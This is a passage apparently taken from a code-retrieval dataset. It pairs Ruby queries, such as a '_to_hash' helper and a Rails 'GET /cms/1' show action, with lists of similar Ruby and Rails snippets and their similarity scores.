"def hash\n data.hash\n end",
"def hash\n [self.class, to_h].hash\n end",
"def hash\n [self.class, to_h].hash\n end",
"def hash\n [self.class, to_h].hash\n end",
"def hash\r\n id.hash\r\n end",
"def hash\n \"#{self.class.name}-#{self.id}-#{@__metadata__.cas}-#{@__attributes__.hash}\".hash\n end",
"def hash\n attributes.hash\n end",
"def hash\n attributes.hash\n end",
"def hash\n attributes.hash\n end",
"def hash #:nodoc:\n __getobj__.hash ^ self.class.hash\n end",
"def hash\n self.to_f.hash\n end",
"def hash\n end",
"def hash\n end",
"def hash\n end",
"def to_hash\n return self\n end",
"def to_hash(object)\n validate_class_kit(object.class)\n\n @hash_helper.to_hash(object)\n end",
"def hash\n return @id.hash\n end",
"def to_h\n Hash[ self ]\n end",
"def to_hash\n Hash[self]\n end",
"def to_h\n @hash.dup\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def to_h\n @hash.dup\n end",
"def hash\n model.hash + key.hash\n end",
"def to_hash; end",
"def to_hash; end",
"def to_hash; end",
"def to_hash; end",
"def to_hash; end",
"def to_hash; end",
"def hash\n [self.class, to_s].hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n self.atoms.hash\n end",
"def to_h\n Hash[self]\n end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash\n\t\tvalue.hash\n\tend",
"def hash\n [description, routing_number, account_number, account_type, signatory, metadata, id, signature_url, bank_name, verified, date_created, date_modified, deleted, object].hash\n end",
"def hash\n @id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n self.class.name.hash\n end",
"def to_h\n @_hash.dup\n end",
"def hash\n\t\t[@id].hash\n\tend",
"def hash\n [self.class, to_s].hash\n end",
"def __hash\n @hash\n end"
] | [
"0.8270299",
"0.78767854",
"0.78726953",
"0.7802364",
"0.7789188",
"0.77806795",
"0.7775915",
"0.7767511",
"0.7760525",
"0.7760525",
"0.77559966",
"0.7731286",
"0.7713916",
"0.7713916",
"0.7713916",
"0.7713916",
"0.7713916",
"0.7713916",
"0.7713916",
"0.7713916",
"0.7713916",
"0.7713916",
"0.7713916",
"0.7713916",
"0.7713916",
"0.7713916",
"0.7647042",
"0.7647042",
"0.7626769",
"0.760354",
"0.7595938",
"0.7582562",
"0.7579971",
"0.7579971",
"0.7535553",
"0.7495252",
"0.7433835",
"0.7411177",
"0.73843014",
"0.73661345",
"0.73658615",
"0.73658615",
"0.73658615",
"0.73600674",
"0.7359121",
"0.73590857",
"0.73590857",
"0.73590857",
"0.7340058",
"0.73356754",
"0.7329828",
"0.7329828",
"0.7329828",
"0.73170114",
"0.730566",
"0.73028016",
"0.7294603",
"0.72854036",
"0.72643596",
"0.72637254",
"0.72620076",
"0.72620076",
"0.72620076",
"0.72620076",
"0.72620076",
"0.72620076",
"0.72620076",
"0.72620076",
"0.72620076",
"0.726188",
"0.72524244",
"0.72511965",
"0.72511965",
"0.72511965",
"0.72511965",
"0.72511965",
"0.72511965",
"0.72479564",
"0.72474235",
"0.72474235",
"0.7241066",
"0.7229342",
"0.7228758",
"0.7228758",
"0.7228758",
"0.7228758",
"0.7228758",
"0.7228758",
"0.7228758",
"0.7228758",
"0.7228758",
"0.7228758",
"0.7224175",
"0.72185695",
"0.72126305",
"0.72116995",
"0.71945405",
"0.71828544",
"0.7181684",
"0.7171822",
"0.71657544"
] | 0.0 | -1 |
Outputs nonarray value in the form of hash For object, use to_hash. Otherwise, just return the value | def _to_hash(value)
if value.is_a?(Array)
value.compact.map { |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def hash\n [value].hash\n end",
"def hash\n [value].hash\n end",
"def hash\n\t\tvalue.hash\n\tend",
"def hash\n value.hash\n end",
"def hash\n @value.hash\n end",
"def hash\r\n return to_s.hash\r\n end",
"def to_hash\n @value\n end",
"def to_hash\n @value\n end",
"def hash\n @hash || @hash = (value.hash * -1)\n end",
"def output_hash; end",
"def to_hash() end",
"def hash\n return to_s.hash\n end",
"def hash\n value_id.hash\n end",
"def to_hash\n call\n @hash = @value\n @hash\n end",
"def hash\n to_s.hash\n end",
"def hash\n to_s.hash\n end",
"def hash\n self.to_f.hash\n end",
"def hash\n to_s.hash\n end",
"def to_hash(obj = T.unsafe(nil)); end",
"def to_h\n @value\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def value_to_hash(value, options = T.unsafe(nil)); end",
"def to_s\r\n to_hash.to_s\r\n end",
"def _to_hash(value)\r\n if value.is_a?(Array)\r\n value.compact.map{ |v| _to_hash(v) }\r\n elsif value.is_a?(Hash)\r\n {}.tap do |hash|\r\n value.each { |k, v| hash[k] = _to_hash(v) }\r\n end\r\n elsif value.respond_to? :to_hash\r\n value.to_hash\r\n else\r\n value\r\n end\r\n end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def to_s\n to_hash.to_s\nend",
"def to_s\n to_hash.to_s\nend",
"def to_h(value)\n return value unless @to_h\n @to_h.call value\n end",
"def to_hash\n Hash[to_a]\n end",
"def to_hash; end",
"def to_hash; end",
"def to_hash; end",
"def to_hash; end",
"def to_hash; end",
"def to_hash; end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end"
] | [
"0.6719518",
"0.6719518",
"0.666832",
"0.66565555",
"0.6586841",
"0.6452931",
"0.6414911",
"0.6414911",
"0.6382046",
"0.6346188",
"0.6302933",
"0.62237245",
"0.6151989",
"0.6101756",
"0.60795677",
"0.60795677",
"0.60717124",
"0.6035991",
"0.6021168",
"0.5936472",
"0.5903488",
"0.5903488",
"0.5903488",
"0.5903488",
"0.5903488",
"0.5890367",
"0.5890367",
"0.5884459",
"0.5884459",
"0.58669275",
"0.58533067",
"0.58355993",
"0.58215266",
"0.58215266",
"0.58215266",
"0.58215266",
"0.58215266",
"0.58215266",
"0.58215266",
"0.58215266",
"0.58215266",
"0.58215266",
"0.5803003",
"0.5803003",
"0.57983655",
"0.578115",
"0.577359",
"0.577359",
"0.577359",
"0.577359",
"0.577359",
"0.577359",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771",
"0.5769771"
] | 0.0 | -1 |
GET /cms/1 GET /cms/1.json | def show
@cm = Cm.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @cm }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @cms_pages = CmsPage.all\n end",
"def index\n @cmms = Cmm.all\n render json: @cmms\n end",
"def index\n @cms_pages = Cms::Page.all\n end",
"def index\n @pages = current_cms.pages.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pages }\n end\n end",
"def index\n @pages = current_site.pages\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def index\n @cms_pages = current_portal.pages\n end",
"def show\n @cms_page = CmsPage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cms_page }\n end\n end",
"def show\n if params[:id].eql?(\"current\")\n @content_manager = current_cms\n else\n @content_manager = BigCms::ContentManager.find(params[:id])\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @content_manager }\n end\n end",
"def show\n @structure_content = Structure::Content.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @structure_content }\n end\n end",
"def show\n if @cmm.nil?\n head :not_found\n else\n render json: @cmm.properties\n end\n end",
"def index\n @contents = Content.all\n render json: @contents\n end",
"def show\n @static_content = StaticContent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @static_content }\n end\n end",
"def index\n @site_editorials = SiteEditorial.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @site_editorials }\n end\n end",
"def index\n @cms_page_sections = Cms::PageSection.all\n end",
"def index\n course = Course.find(params[:course_id])\n sections = course.sections.all\n render json: sections.order(:id)\n end",
"def json_show_static_content_by_name\n\n @static_content = StaticContent.find_by_name(params[:name])\n respond_to do |format|\n format.json { render json: @static_content }\n end\n end",
"def show\n @cso = Cso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cso }\n end\n end",
"def show\n @admin_about = About.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_about }\n end\n end",
"def show\n render json: @course, status: :found\n end",
"def show\n @curriculums_subject = CurriculumsSubject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @curriculums_subject }\n end\n end",
"def index\n @static_contents = StaticContent.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @static_contents }\n end\n end",
"def show\n if admin?\n @page = Page.find_by_slug(params[:id]) \n else\n @page = Page.published.find_by_slug(params[:id]) \n end\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @page, :only => [:title, :content] }\n end\n end",
"def show\n @content_translation = ContentTranslation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @content_translation }\n end\n end",
"def index\n @content_item_condos = ContentItemCondo.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @content_item_condos }\n end\n end",
"def show\n @commemt = Commemt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @commemt }\n end\n end",
"def index\n @content_condos = ContentCondo.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @content_condos }\n end\n end",
"def show\n @content_condo = ContentCondo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @content_condo }\n end\n end",
"def show\n @core = Core.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @core }\n end\n end",
"def show\n @content_item_condo = ContentItemCondo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @content_item_condo }\n end\n end",
"def json_index_static_contents\n\n @static_contents = StaticContent.all\n respond_to do |format|\n\n format.json { render json: @static_contents }\n end\n end",
"def show\n @news_company = NewsCompany.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @news_company }\n end\n end",
"def show\n # TODO: this is a placeholder for logic using Sentence\n render :json => { :index => params[:id],\n :contents => \"SERVER: this would be the contents of page \" + params[:id]\n }\n end",
"def show\n @site = Site.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @site }\n end\n end",
"def show\n @site = Site.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @site }\n end\n end",
"def show\n @site = Site.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @site }\n end\n end",
"def show\n @site = Site.find(params[:id])\n\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @site }\n \n end\n end",
"def show\n @website = Website.find(params[:id])\n\n render json: @website\n end",
"def index\n respond_to do |format|\n format.html do \n @sites = Site.all\n end\n format.json do\n render json: Site.all\n end\n end\n end",
"def show\n @published = Published.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @published }\n end\n end",
"def show\n @article = Article.find(params[:id])\n\n @memos = Memo.find_all_by_article_id(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end",
"def index\n if params[:site_id].nil? or params[:site_id].empty?\n @comentarios = Comentario.all # path: /types\n else\n @comentarios = Site.find(params[:site_id]).comentarios # path: /sites/id/comentarios\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @comentarios }\n end\n end",
"def show\n @site = Site.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @site }\n end\n end",
"def show\n @culture = Culture.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @culture }\n end\n end",
"def show\n @colaboration = Colaboration.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colaboration }\n end\n end",
"def show\n @content = Content.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @content }\n end\n end",
"def show\n @content = Content.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @content }\n end\n end",
"def show\n @content = Content.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @content }\n end\n end",
